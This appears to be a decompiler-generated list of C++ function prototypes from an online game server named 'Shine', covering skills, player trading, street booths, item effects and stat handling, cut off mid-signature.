MobExplosionElement::MobExplosionAlways::meb_Routine(MobExplosionElement::MobExplosionAlways *this, ShineObjectClass::ShineServant *mob); void __thiscall ShineObjectClass::ShinePlayer::sp_SkillShiftCancel(void *this); char __thiscall AxialListHideFromTarget::ali_Work(AxialListHideFromTarget *this, #593 *, #593 *, unsigned int); void __thiscall ShineObjectClass::ShineMobileObject::smo_HideTarget(void *this); void __thiscall ShineObjectClass::ShinePlayer::so_ply_Untarget(void *this); void __thiscall FanFormSectorArgument::FanFormSectorArgument(FanFormSectorArgument *this, #593 *, #593 *); void __thiscall ShineObjectClass::ShinePlayer::smo_old_skill_blast(void *this, int idx, int a3, int skill, __int16 *empower); void __thiscall ShineObjectClass::ShineMobileObject::smo_SkillBash_Casting(void *this, int sklidx, int a3, int loc, int casting_millisec); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_BAT_SKILLBASH_CASTABORT_REQ(void *this, int netcmd, int len, __int16 handle); char __thiscall ShineObjectClass::ShineMobileObject::smo_SkillCooltimeSet(void *this); int __thiscall ShineObjectClass::ShineMobileObject::smo_SkillBlastOption(void *this); int __thiscall ShineObjectClass::ShineMobileObject::smo_MagicFieldSpread(_DWORD, _DWORD); // weak void __thiscall ShineObjectClass::ShineMobileObject::smo_SkillBash_Blast(void *caster, int targetlocate, int empower); void __thiscall ShineObjectClass::ShineMobileObject::smo_SkillBash_Blast(#593 *, SKILL_EMPOWER *); void __thiscall ShineObjectClass::ShinePlayer::sp_ReviveNow(void *me, unsigned __int16 healrate); char __thiscall ShineObjectClass::ShineMob::sm_UseSkillSimple(void *this, int skillIndex, int a3, int loc); int __thiscall ShineObjectClass::ShineMobileObject::smo_Dispel(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD); // weak char __thiscall ShineObjectClass::ShineMobileObject::smo_JumpTo(void *this, int locate, int sklidx); #593 *__thiscall AxialListScanSkillTarget::alsst_GetRandomTarget(AxialListScanSkillTarget *this, int nIndex); void __thiscall AxialListNearScanSkillEnemy::AxialListNearScanSkillEnemy(AxialListNearScanSkillEnemy *this); void __thiscall AxialListNearScanSkillParty::_AxialListNearScanSkillParty(AxialListNearScanSkillFriend *this); void __thiscall AxialListNearScanSkillParty::AxialListNearScanSkillParty(AxialListNearScanSkillParty *this); void __thiscall AxialListNearScanSkillFriend::AxialListNearScanSkillFriend(AxialListNearScanSkillFriend *this); void __thiscall CharaterSkillList::csl_UnLearn(CharaterSkillList *this, unsigned __int16 skill); void __thiscall std::deque>::_Xlen(std::deque > *this); void __thiscall ShineObjectClass::ShinePlayer::so_UnlearnSkillAck(void *this, int ack); void __thiscall std::deque>::_Growmap(std::deque > *this, unsigned int _Count); void __thiscall std::deque>::push_back(std::deque > *this); std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_Val); void __thiscall AxialListScanSkillTarget::alsst_MakeRandomTargetList(AxialListScanSkillTarget *this, int nTargetNumber, unsigned __int16 nExceptHandle); void __thiscall ShineObjectClass::ShineMagicField::so_mgcfld_MagicFieldSpread(ShineObjectClass::ShineMagicField *this, unsigned __int16 hnd, #615 *caster, SkillDataBox::SkillDataIndex *idx, SHINE_XY_TYPE *targetlocate, SKILL_EMPOWER *emp); void __thiscall ShineObjectClass::ShineMagicField::so_mgcfld_MagicFieldSpread_Friend(ShineObjectClass::ShineMagicField *this, unsigned __int16 hnd, #615 *caster, SkillDataBox::SkillDataIndex *idx, SHINE_XY_TYPE *targetlocate, SKILL_EMPOWER *emp); #593 *__thiscall ShineObjectClass::ShineMobileObject::so_smo_GetRandomTarget_Object(int this, int pSkillIndex, char *nRange, void *a4); void __thiscall std::vector>::push_back(std::vector > *this, PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_Val); void __stdcall ShineObjectClass::ShinePlayer::sp_NC_BAT_SKILLCAST_REQ(int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_BAT_SKILLBASH_FLD_CAST_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall SkillEffectApply::SkillDamageSender::sds_TemplateStore(SkillEffectApply::SkillDamageSender *this, #615 *, SkillResultBuffer *, int, int, int, int); int __thiscall ShineObjectClass::ShineMobileObject::smo_SkillBlast(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD); // weak void __thiscall AxialListScanSkillTarget::alsst_SkillBlast(AxialListScanSkillTarget *this, SkillDataBox::SkillDataIndex *idx, SKILL_EMPOWER *empower, int num, MultiHitArgument *mha); void __thiscall AxialListScanSkillTarget::alsst_SkillBlast_RandomTarget(AxialListScanSkillTarget *this, SkillDataBox::SkillDataIndex *pSkillData, SKILL_EMPOWER *pEmpower, int nTargetNum, MultiHitArgument *pMha); int __thiscall ShineObjectClass::ShineMobileObject::smo_SkillBash_Blast_Trap(_DWORD, _DWORD, _DWORD, _DWORD); // weak void __thiscall ShineObjectClass::ShineMobileObject::smo_SkillBash_Blast_Trap(#593 *, SKILL_EMPOWER *, SkillDataBox::SkillDataIndex *); void __thiscall SkillEffectApply::SkillBlastEffect::sbe_BlastObject(SkillEffectApply::SkillBlastEffect *this); void __thiscall SkillEffectApply::SkillBlastEffect::sbe_BlastLocate(SkillEffectApply::SkillBlastEffect *this); int __cdecl SkillDataBox::sdb_compare(const void *a, const void *b); ABSTATEINDEX __thiscall SkillDataBox::sdb_load_IndexSearch(SkillDataBox *this, char *name); void __thiscall SkillDataBox::SkillDataIndex::sdi_SetAbstate(SkillDataBox::SkillDataIndex *this, int sub, char *statename, int strength, int rate); char __thiscall SkillDataBox::AreaSkillBMPFileLoad(SkillDataBox *this, SkillDataBox::SkillDataIndex::AreaSkillInfo *pAreaSkillSetting); void __thiscall SkillDataBox::SkillDataIndex::sdi_Clear(SkillDataBox::SkillDataIndex *this); void __thiscall SkillDataBox::SkillDataIndex::sdi_SetArgument(SkillDataBox::SkillDataIndex *this, SkillSpecial ss, int arg); char __thiscall PassiveDataBox::sdb_Next(PassiveDataBox *this, int *sub); PassiveDataBox::PSSetAbstateIndex *__thiscall PassiveDataBox::sdb_GetSetAbstate(PassiveDataBox *this, unsigned __int16 nID); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); BinaryData *__thiscall SkillDataBox::__unnamed::__unnamed(BinaryData *this); void __thiscall SkillDataBox::__unnamed::___unnamed(BinaryData *this); void __thiscall PassiveDataBox::PassiveDataBox(PassiveDataBox *this); void __thiscall PassiveDataBox::_PassiveDataBox(PassiveDataBox *this); void __thiscall PassiveDataBox::pdb_Load(PassiveDataBox *this, Name4 *world); PassiveSkillInfo *__thiscall PassiveDataBox::sdb_Get(PassiveDataBox *this, int *sub); void __thiscall SkillDataBox::SkillDataBox(SkillDataBox *this); void __thiscall SkillDataBox::_SkillDataBox(SkillDataBox *this); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, ToggleSkill *const *_Val); SkillDataBox::SkillDataIndex *__thiscall SkillDataBox::GetSkillIndexByName(SkillDataBox *this, const char *pkName); void __thiscall SkillDataBox::sdb_Load(SkillDataBox *this, Name4 *world); char __cdecl SlantedCoordList::operator<(SlantedCoordList::CoordedNode *a, SlantedCoordList::CoordedNode *b); void __thiscall SlantedCoordList::ObjectXCoordNode::ObjectXCoordNode(SlantedCoordList::ObjectXCoordNode *this); int __thiscall SlantedCoordList::ObjectXCoordNode::ocn_type(SlantedCoordList::ObjectXCoordNode *this); int __thiscall SlantedCoordList::ObjectXCoordNode::ocn_Getlocation(SlantedCoordList::ObjectXCoordNode *this); void __thiscall SlantedCoordList::ObjectYCoordNode::ObjectYCoordNode(SlantedCoordList::ObjectYCoordNode *this); int __thiscall SlantedCoordList::ObjectYCoordNode::ocn_type(SlantedCoordList::ObjectYCoordNode *this); int __thiscall SlantedCoordList::ObjectYCoordNode::ocn_Getlocation(SlantedCoordList::ObjectYCoordNode *this); void __thiscall NPCAction::BallAction::_BallAction(SlantedCoordList::ObjectYCoordNode *this); void __thiscall SlantedCoordList::CoordedNode::CoordedNode(SlantedCoordList::CoordedNode *this); char __thiscall SlantedCoordList::CoordedNode::cn_AppendList(SlantedCoordList::CoordedNode *this, SlantedCoordList::CoordedNode *chainlist); void __thiscall SlantedCoordList::CoordedNode::cn_MakeLink(SlantedCoordList::CoordedNode *this, SlantedCoordList::CoordedNode *chain); void __thiscall SlantedCoordList::CoordedNode::cn_MakeLink2(SlantedCoordList::CoordedNode *this, SlantedCoordList::CoordedNode *chain); void __thiscall SlantedCoordList::CoordedNode::cn_Rearrange(SlantedCoordList::CoordedNode *this, #1265 *, #593 *); int __thiscall ShineObjectClass::ShinePlayer::sp_PointStoneBuy(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD); void __thiscall GameDBSession::gds_NC_ITEMDB_SOULSTONEBUYSUC_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_SOULSTONEBUYFAIL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::sp_HPStoneUse(void *this); void __thiscall ShineObjectClass::ShinePlayer::sp_SPStoneUse(void *this); void __cdecl ShineObjectClass::ShinePlayer::sp_PointStone_NotInit(); void __thiscall ShineObjectClass::ShinePlayer::sp_HPStoneReserv(void *this); void __thiscall ShineObjectClass::ShinePlayer::sp_SPStoneReserv(void *this); void __stdcall ShineObjectClass::ShinePlayer::sp_NC_LOG_MAP_NOBASE_CMD(int netcmd, int len, __int16 handle); // void __userpurge ShineObjectClass::ShinePlayer::sp_NC_SOULSTONE_HP_BUY_REQ(int a1, int a2, int netcmd, int len, __int16 handle); // void __userpurge ShineObjectClass::ShinePlayer::sp_NC_SOULSTONE_SP_BUY_REQ(int a1, int a2, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_SOULSTONE_HP_USE_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_SOULSTONE_SP_USE_REQ(void *this, int netcmd, int len, __int16 handle); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); void __thiscall SpamerPenaltyDataBox::SpamerPenaltyDataBox(SpamerPenaltyDataBox *this); void __thiscall SpamerPenaltyDataBox::_SpamerPenaltyDataBox(SpamerPenaltyDataBox *this); void __thiscall SpamerPenaltyDataBox::spdb_Load(SpamerPenaltyDataBox *this); unsigned __int16 __thiscall SpamerPenaltyDataBox::spdb_SpamePenaltyGetSecondRule(SpamerPenaltyDataBox *this); char __thiscall SpamerPenaltyDataBox::spdb_SpamePenaltyGetRepeatRule(SpamerPenaltyDataBox *this); bool __thiscall SpamerPenaltyDataBox::spdb_SpamePenaltyGetChatBlockTime(SpamerPenaltyDataBox *this, char PenaltyLv, unsigned __int16 *BlockTime); bool __thiscall SpamerPenaltyDataBox::spdb_SpamePenaltyGetProbateTime(SpamerPenaltyDataBox *this, char PenaltyLv, unsigned __int16 *ProbateTime); void __thiscall MemoryQueue::MemoryQueue(MemoryQueue *this); unsigned __int16 __thiscall MemoryQueue::mq_Store(MemoryQueue *this, unsigned __int16 hnd, ShineItemAttr_BindItem::Bind *content); int __thiscall ShineObjectClass::ShinePlayer::sp_FindItemFromInventory(void *this, __int16 itemid, int loc); void __thiscall ShineObjectClass::ShinePlayer::so_ply_SparrowWingExpand(void *this, signed int limit); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_MAP_WING_SAVE_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::so_ply_SparrowWingFly(void *this); void __thiscall SpyNet::EspionageAgent::EspionageAgent(SpyNet::EspionageAgent *this); void __thiscall SpyNet::IntelligenceOffice4Mob::IntelligenceOffice4Mob(SpyNet::IntelligenceOffice4Mob *this); void __thiscall SpyNet::IntelligenceOffice4Mob::_IntelligenceOffice4Mob(SpyNet::IntelligenceOffice4Mob *this); void __thiscall SpyNet::IntelligenceOffice4Mob::io_SRT_GETHEAL(SpyNet::IntelligenceOffice4Mob *this, #593 *, SpyNet::SecretReport *); void __thiscall SpyNet::IntelligenceOffice::io_ReadReport(SpyNet::IntelligenceOffice *this, #593 *, SpyNet::EspionageAgent *); int __thiscall ShineObjectClass::ShinePlayer::so_ply_FreeStat_Increase(int this, int pAck); // int __userpurge ShineObjectClass::ShinePlayer::so_ply_FreeStat_Decrease(int a1, int a2, int a3, int pAck); // int __userpurge ShineObjectClass::ShinePlayer::so_ply_FreeStat_Set_Ack(int a1, int a2, int a3, int pAck); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_CHAR_STAT_INCPOINT_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall GameDBSession::gds_NC_CHAR_STAT_INCPOINTSUC_DB_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::so_ply_StatIncrease(void *this, int suc); void __thiscall GameDBSession::gds_NC_CHAR_STAT_INCPOINTFAIL_DB_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_CHAR_STAT_DECPOINT_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall GameDBSession::gds_NC_CHAR_STAT_DECPOINTSUC_DB_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::so_ply_StatDecrease(void *this, int suc); void __thiscall GameDBSession::gds_NC_CHAR_STAT_DECPOINTFAIL_DB_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::sp_StatRemainSend(void *this); void __thiscall GameDBSession::gds_NC_CHAR_FREESTAT_SET_DB_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall StreetBooth::StreetBooth(StreetBooth *this); void __thiscall StreetBooth::_StreetBooth(StreetBooth *this); char __thiscall ShineObjectClass::ShineNPC::so_TentDistance(ShineObjectClass::ShineNPC *this, SHINE_XY_TYPE *boothloc); signed int __thiscall ShineObjectClass::ShinePlayer::so_TentDistance(void *this, int boothloc); char __thiscall ShineObjectClass::ShineMiniHouse::so_TentDistance(ShineObjectClass::ShineMiniHouse *this, SHINE_XY_TYPE *boothloc); void __thiscall StreetBoothSell::sb_RefreshError(StreetBoothBuy *this, #734 *, unsigned __int16); void __thiscall ShineObjectClass::ShinePlayer::so_ply_ShowBoothItem(#593 *, #734 *, char); void __thiscall ShineObjectClass::ShinePlayer::so_ply_BoothTrade(#734 *, PROTO_NC_BOOTH_ITEMTRADE_REQ *); int __thiscall ShineObjectClass::ShinePlayer::so_ply_IsInBoothInterior(int this); void __thiscall StreetBoothSell::sb_Open(StreetBoothSell *this, InventoryLocking::InventoryCellLock *locker); void __thiscall StreetBoothSell::sb_Close(StreetBoothSell *this, InventoryLocking::InventoryCellLock *locker); void __thiscall StreetBoothSell::sb_Clear(StreetBoothSell *this); void __thiscall StreetBoothBuy::sb_Clear(StreetBoothBuy *this); void __thiscall StreetBoothSell::sb_Boarding(StreetBoothSell *this, InventoryLocking::InventoryCellLock *locker, ItemInventoryCell *cell, PROTO_NC_BOOTH_OPEN_REQ::BoothItem *boothitem, #593 *owner); void __thiscall StreetBoothBuy::sb_Boarding(StreetBoothBuy *this, InventoryLocking::InventoryCellLock *locker, ItemInventoryCell *cell, PROTO_NC_BOOTH_OPEN_REQ::BoothItem *boothitem, #593 *owner); char __thiscall ShineObjectClass::ShineObject::so_TentPoint(#593 *this, #593 *, unsigned int); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_BOOTH_CLOSE_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall StreetBoothBuy::sb_Show2Client(StreetBoothBuy *this, #593 *, #734 *, char); int __thiscall StreetBoothSell::sbs_FillBufferItem(StreetBoothSell *this, #593 *, char *, PROTO_NC_BOOTH_ENTRY_SELL_ACK::BoothItemList *); StringMaker::Maker *__thiscall StringMaker::Maker::operator<<(StringMaker::Maker *this, const char *str); StringMaker::Maker *__thiscall StringMaker::Maker::operator<<(StringMaker::Maker *this, char chr); StringMaker::Maker *__thiscall StringMaker::Maker::operator<<(StringMaker::Maker *this, int num); StringMaker::Maker *__thiscall StringMaker::Maker::operator<<(StringMaker::Maker *this, Name3 *id); StringMaker::Maker *__thiscall StringMaker::Maker::operator<<(StringMaker::Maker *this, ItemInventoryCell *iic); StringMaker::Maker *__thiscall StringMaker::Maker::operator<<(StringMaker::Maker *this, StringMaker::Finisher *fin); void __stdcall ShineObjectClass::ShineObject::so_SendInform2Admin(int a1); void __thiscall ShineObjectClass::ShineMobileObject::so_SendInform2Admin(void *this, int a2); void __thiscall ShineObjectClass::ShinePlayer::so_SendInform2Admin(void *this, int a2); void __thiscall ShineObjectClass::ShineMob::so_SendInform2Admin(void *this, int a2); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_BOOTH_OPEN_REQ(void *this, int netcmd, int i, __int16 handle); void __thiscall StreetBoothSell::sb_Show2Client(StreetBoothSell *this, #593 *, #734 *, char); void __thiscall StreetBoothBuy::StreetBoothBuy(StreetBoothBuy *this); void __thiscall StreetBoothBuy::_StreetBoothBuy(StreetBoothBuy *this); char *__thiscall StreetBoothSell::sb_Type(StreetBoothSell *this); char *__thiscall StreetBoothBuy::sb_Type(StreetBoothBuy *this); void __thiscall StreetBoothBuy::sbb_BuyAll(StreetBoothBuy *this, #734 *, #734 *, PROTO_NC_BOOTH_ITEMTRADE_REQ *, unsigned __int64, ItemInventoryCell *, ItemInventoryCell *, int, int); void __thiscall StreetBoothBuy::sbb_BuyMerge(StreetBoothBuy *this, #734 *, #734 *, PROTO_NC_BOOTH_ITEMTRADE_REQ *, unsigned __int64, ItemInventoryCell *, ItemInventoryCell *, int, int); void __thiscall StreetBoothBuy::sbb_BuySplitCreate(StreetBoothBuy *this, #734 *, #734 *, PROTO_NC_BOOTH_ITEMTRADE_REQ *, unsigned __int64, ItemInventoryCell *, ItemInventoryCell *, int, int); void __thiscall StreetBoothBuy::sb_Trade(StreetBoothBuy *this, #734 *, #734 *, PROTO_NC_BOOTH_ITEMTRADE_REQ *); void __thiscall StreetBoothSell::StreetBoothSell(StreetBoothSell *this); void __thiscall StreetBoothSell::_StreetBoothSell(StreetBoothSell *this); void __thiscall StreetBoothSell::sbs_SellAll(StreetBoothSell *this, #734 *, #734 *, PROTO_NC_BOOTH_ITEMTRADE_REQ *, unsigned __int64, unsigned __int16); void __thiscall StreetBoothSell::sbs_SellMerge(StreetBoothSell *this, #734 *, #734 *, PROTO_NC_BOOTH_ITEMTRADE_REQ *, ItemBoxIterator *, unsigned __int64); void __thiscall StreetBoothSell::sbs_SellSplitCreate(StreetBoothSell *this, #734 *, #734 *, PROTO_NC_BOOTH_ITEMTRADE_REQ *, unsigned __int64); void __thiscall GameDBSession::gds_NC_ITEMDB_BOOTHTRADE_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall StreetBoothSell::sb_Trade(StreetBoothSell *this, #734 *, #734 *, PROTO_NC_BOOTH_ITEMTRADE_REQ *); SubAbstatePriority::StateExchange __thiscall SubAbstatePriority::PriorityBase::bp_AbStateChange(SubAbstatePriority::PriorityBase *this, AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument *oldparam, AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument *newparam); void __thiscall TargetAnalyser::TargetAnalyser(TargetAnalyser *this); void __thiscall TargetAnalyser_Player::_TargetAnalyser_Player(TargetAnalyser_Player *this); void __thiscall TargetAnalyser_Player::TargetAnalyser_Player(TargetAnalyser_Player *this); char __thiscall TargetAnalyser::ta_me(TargetAnalyser *this, #593 *target); char __thiscall TargetAnalyser_Player::ta_enemy(TargetAnalyser_Player *this, #593 *target); char __thiscall TargetAnalyser_Player::ta_friend(TargetAnalyser_Player *this, #593 *target); void __thiscall ShineObjectClass::ShinePlayer::sp_ThirdPromote(void *this, __int16 questid, char classtype); void __thiscall TickTimer::TickTimer(TickTimer *this); void __thiscall TickTimer::TickTimer(TickTimer *this, unsigned int TickDeltaTime); bool __thiscall TickTimer::Enable(TickTimer *this, bool bEnable); bool __thiscall CGambleObject::go_Get_MaxEnterPlayerCnt(TickTimer *this); unsigned int __thiscall TickTimer::GetInervalTimeToSecond(TickTimer *this); bool __thiscall TickTimer::CheckUpdateEvent(TickTimer *this, unsigned int TickDeltaTime); unsigned int __thiscall std::basic_string_std::allocator>::find(std::basic_string,std::allocator > *this, const char *_Ptr, unsigned int _Off, unsigned int _Count); std::basic_string,std::allocator >::iterator *__thiscall std::basic_string_std::allocator>::erase(std::basic_string,std::allocator > *this, std::basic_string,std::allocator >::iterator *result, std::basic_string,std::allocator >::iterator _First, std::basic_string,std::allocator >::iterator _Last); void __cdecl tokenize(std::basic_string,std::allocator > *str, std::vector,std::allocator >,std::allocator,std::allocator > > > *result, std::basic_string,std::allocator > *delimiters, std::basic_string,std::allocator > *delimiters_preserve, std::basic_string,std::allocator > *quote, std::basic_string,std::allocator > *esc); char __thiscall ShineObjectClass::ShinePlayer::so_ply_ServerMenuactor_sma_IsReady(int this); void *__thiscall ShineObjectClass::ShineObject::so_CloseTradeMenu(void *this); // void __userpurge ShineObjectClass::ShinePlayer::sp_NC_TRADE_PROPOSE_REQ(int a1, int a2, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_TRADE_CANCEL_REQ(void *this, int netcmd, int len, __int16 handle); char __thiscall ShineObjectClass::ShinePlayer::so_tradepropose_timecheck(void *this); void __thiscall ShineObjectClass::ShinePlayer::sp_tradebreak(void *this); void __thiscall ShineObjectClass::ShinePlayer::sp_CloseStreetBooth(void *this); void __thiscall ShineObjectClass::ShinePlayer::so_CloseByLink(void *this); void __thiscall TradeBoard::tb_Clear(void *this); char __thiscall ShineObjectClass::ShinePlayer::so_ply_TradeBoardUnlock(int this, int a2); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_TRADE_CENBOARDING_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_TRADE_BOARDLOCK_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall TradeBoard::tb_FillCen(void *this, int playerA, int playerB, int a4, int A, int B, int itemtrade); char __thiscall TradeBoard::tb_Get(void *this, int idx); char __thiscall TradeBoard::tb_Next(void *this, int idx); void __thiscall GameDBSession::gds_NC_ITEMDB_ITEMTRADEFAIL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_ITEMTRADESUC_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); char __thiscall TradeBoard::tb_Home(void *this, int idx); char __stdcall TradeBoard::tb_FillTradeBuffer(int playerA, int playerB, int cellA, int cellB); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_TRADE_DECIDE_REQ(void *this, int netcmd, int len, __int16 handle); signed int __thiscall TradeBoard::tb_OffBoard(void *this, signed int boardslot); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_TRADE_DOWNBOARD_REQ(void *this, int netcmd, int len, __int16 handle); signed int __thiscall TradeBoard::tb_OnBoard(void *this, char invenslot); // void __userpurge ShineObjectClass::ShinePlayer::sp_NC_TRADE_UPBOARD_REQ(int a1, int a2, int netcmd, int ii, __int16 handle); int __thiscall TreasureChestMaker::tcm_GetItemNum(TreasureChestMaker *this); void __thiscall ItemListMaker::ItemListMaker(ItemListMaker *this, unsigned __int16 invtype); unsigned __int16 __thiscall ItemListMaker::ilm_ItemMake(ItemListMaker *this, ItemTotalInformation *iti); int __thiscall ItemListMaker::ilm_PutInto(ItemListMaker *this, PROTO_ITEM_CMD *itmlst, int emptyslot, TreasureChestLocationManager *tcm, unsigned __int16 nInvenType); void __thiscall TreasureChestMaker::TreasureChestMaker(TreasureChestMaker *this, unsigned __int16 chest, int makeflag, int chestflag); void __thiscall TreasureChestMaker::_TreasureChestMaker(TreasureChestMaker *this); unsigned __int16 __thiscall TreasureChestMaker::tcm_ItemMake(TreasureChestMaker *this, ItemTotalInformation *iti); unsigned __int16 __thiscall TreasureChestMaker::tcm_ItemMake(TreasureChestMaker *this, int makeflag, ShineReward *reward, unsigned int clsmask); int __thiscall TreasureChestMaker::tcm_PutInto(TreasureChestMaker *this, int from, PROTO_ITEM_CMD *itmlst, int emptyslot, TreasureChestLocationManager *tcm, unsigned __int16 nInvenType); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); void __thiscall UpgradeDataBox::UpgradeDataBox(UpgradeDataBox *this); void __thiscall AbnormalStateDictionary::SubAbState::_SubAbState(AbnormalStateDictionary::SubAbState *this); void __thiscall UpgradeDataBox::udb_Load(UpgradeDataBox *this, Name4 *world); void __thiscall UseEffect::UsedItemEffect::uie_BroadCast(UseEffect::UsedItemEffect *this, unsigned __int16 item, char bc); void __thiscall UseEffect::UsedItemEffect::uie_SetChargedBuffer(UseEffect::UsedItemEffect *this, unsigned __int16 item, UseEffect::UseItemBase *uib, SkillDataBox::SkillDataIndex *uie); void __thiscall UseEffect::UseItemSilverWing::UseItemSilverWing(UseEffect::UseItemSilverWing *this); void __thiscall UseEffect::UseItemNormal::UseItemNormal(UseEffect::UseItemNormal *this); void __thiscall UseEffect::UseItemRecallScroll::UseItemRecallScroll(UseEffect::UseItemRecallScroll *this); void __thiscall UseEffect::UseItemSkillScroll::UseItemSkillScroll(UseEffect::UseItemSkillScroll *this); void __thiscall UseEffect::UseItemChest::UseItemChest(UseEffect::UseItemChest *this); void __thiscall UseEffect::UseItemByTable::UseItemByTable(UseEffect::UseItemByTable *this); void __thiscall UseEffect::UseItemChargedBuff::UseItemChargedBuff(UseEffect::UseItemChargedBuff *this); void __thiscall UseEffect::UseItemMiniHouse::UseItemMiniHouse(UseEffect::UseItemMiniHouse *this); void __thiscall UseEffect::UseItemActionItem::UseItemActionItem(UseEffect::UseItemActionItem *this); void __thiscall UseEffect::UseItemMiniHouseFurniture::UseItemMiniHouseFurniture(UseEffect::UseItemMiniHouseFurniture *this); void __thiscall UseEffect::UseItemRide::UseItemRide(UseEffect::UseItemRide *this); void __thiscall UseEffect::UseItemHorseFood::UseItemHorseFood(UseEffect::UseItemHorseFood *this); void __thiscall UseEffect::UseItemItemPackage::UseItemItemPackage(UseEffect::UseItemItemPackage *this); void __thiscall UseEffect::UseItemLicenseClear::UseItemLicenseClear(UseEffect::UseItemLicenseClear *this); void __thiscall UseEffect::UseItemStatClear::UseItemStatClear(UseEffect::UseItemStatClear *this, int dbreq, int err); void __thiscall UseEffect::UseItemAmountHP::UseItemAmountHP(UseEffect::UseItemAmountHP *this); void __thiscall UseEffect::UseItemAmountSP::UseItemAmountSP(UseEffect::UseItemAmountSP *this); void __thiscall UseEffect::UseItemAmountHPSP::UseItemAmountHPSP(UseEffect::UseItemAmountHPSP *this); void __thiscall UseEffect::UseItemRoar::UseItemRoar(UseEffect::UseItemRoar *this); void __thiscall UseEffect::UseItemSkillErase::UseItemSkillErase(UseEffect::UseItemSkillErase *this); void __thiscall UseEffect::UseItemWingStone::UseItemWingStone(UseEffect::UseItemWingStone *this); void __thiscall UseEffect::UseItemMemoryFeather::UseItemMemoryFeather(UseEffect::UseItemMemoryFeather *this); void __thiscall UseEffect::UseItemBossMobDetect::UseItemBossMobDetect(UseEffect::UseItemBossMobDetect *this); void __thiscall UseEffect::UseItemSkillDummy2Real::UseItemSkillDummy2Real(UseEffect::UseItemSkillDummy2Real *this); signed __int16 __thiscall ShineObjectClass::ShinePlayer::sp_CanRecallInThisMap(void *this); unsigned __int16 __thiscall UseEffect::UseItemBase::uib_CanUseItem(UseEffect::UseItemBase *this, #734 *, ItemTotalInformation *); unsigned __int16 __thiscall UseEffect::UseItemBossMobDetect::uib_CanUseItem(UseEffect::UseItemGBCoin *this, #734 *, ItemTotalInformation *); unsigned __int16 __thiscall UseEffect::UseItemMiniHouseFurniture::uib_CanUseItem(UseEffect::UseItemMiniHouseFurniture *this, #734 *, ItemTotalInformation *); unsigned __int16 __thiscall UseEffect::UseItemHorseFood::uib_CanUseItem(UseEffect::UseItemHorseFood *this, #734 *, ItemTotalInformation *); unsigned __int16 __thiscall UseEffect::UseItemSkillDummy2Real::uib_CanUseItem(UseEffect::UseItemSkillDummy2Real *this, #734 *, ItemTotalInformation *); void __thiscall UseEffect::UseItemHorseFood::uib_Effect(UseEffect::UseItemHorseFood *this, #593 *, ItemTotalInformation *, UseEffect::UIE_Functions *); void __thiscall UseEffect::UseItemSkillDummy2Real::uib_Effect(UseEffect::UseItemSkillDummy2Real *this, #593 *, ItemTotalInformation *, UseEffect::UIE_Functions *); void __thiscall UseEffect::UseItemPropose::UseItemPropose(UseEffect::UseItemPropose *this); void __thiscall UseEffect::UseItemChest::_UseItemChest(UseEffect::UseItemNoEffect *this); unsigned __int16 __thiscall UseEffect::UseItemPropose::uib_CanUseItem(UseEffect::UseItemPropose *this, #734 *, 